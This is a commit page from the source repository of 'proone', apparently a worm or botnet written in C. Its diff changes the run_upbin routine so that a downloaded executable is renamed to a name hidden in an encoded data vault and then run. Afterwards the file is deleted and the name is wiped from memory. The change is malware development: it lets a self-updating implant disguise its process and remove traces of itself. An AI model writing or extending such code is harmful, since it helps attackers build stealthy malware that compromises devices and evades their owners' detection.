aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 23:29:07 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 23:29:07 +1000
commitd875ed3b36f2a3fb5d6ceb3c37f6749603e4d0d3 (patch)
tree9c35f7f007b98afc873aa76278d1f142f5557009 /src
parent47890abcbb69fbfedaf7ac964e08079743e6d851 (diff)
Fix proone ...
* Fix missing feature: renaming downloaded exec to the value of PRNE_DATA_KEY_EXEC_NAME
Diffstat (limited to 'src')
-rw-r--r--src/proone.c14
-rw-r--r--src/util_rt.c6
-rw-r--r--src/util_rt.h1
3 files changed, 20 insertions, 1 deletions
diff --git a/src/proone.c b/src/proone.c
index 4429204..23be2d8 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -1167,15 +1167,23 @@ static void run_upbin (void) {
char **args = NULL;
char *add_args[1] = { NULL };
char *m_args = NULL;
+ const char *path = prne_s_g->upbin_path;
// copy data from shared global as it will be unmapped before exec() call.
- add_args[0] = prne_dup_str(prne_s_g->upbin_path);
+ add_args[0] = prne_dup_str(
+ prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL));
+ prne_dvault_reset();
m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args));
if (add_args[0] == NULL || m_args == NULL) {
goto END;
}
memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
+ if (rename(prne_s_g->upbin_path, add_args[0]) != 0) {
+ goto END;
+ }
+ path = add_args[0];
+
args = prne_htbt_parse_args(
m_args,
sizeof(prne_s_g->upbin_args),
@@ -1190,6 +1198,10 @@ static void run_upbin (void) {
do_exec(args[0], args);
END:
+ unlink(path);
+ prne_s_g->upbin_path[0] = 0;
+
+ prne_strzero(add_args[0]);
prne_free(add_args[0]);
prne_free(m_args);
prne_free(args);
diff --git a/src/util_rt.c b/src/util_rt.c
index 632ebee..f440f5b 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -367,6 +367,12 @@ char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt) {
return ret;
}
+void prne_strzero (char *str) {
+ for (; *str != 0; str += 1) {
+ *str = 0;
+ }
+}
+
bool prne_hex_fromstr (const char *str, uint_fast8_t *out) {
static const uint_fast8_t shift[2] = { 4, 0 };
size_t i;
diff --git a/src/util_rt.h b/src/util_rt.h
index 744ce82..eea3a7e 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -71,6 +71,7 @@ void *prne_memmem (
const size_t n_len);
char *prne_build_str (const char **const arr, const size_t cnt);
char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt);
+void prne_strzero (char *str);
bool prne_hex_fromstr (const char *str, uint_fast8_t *out);
void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);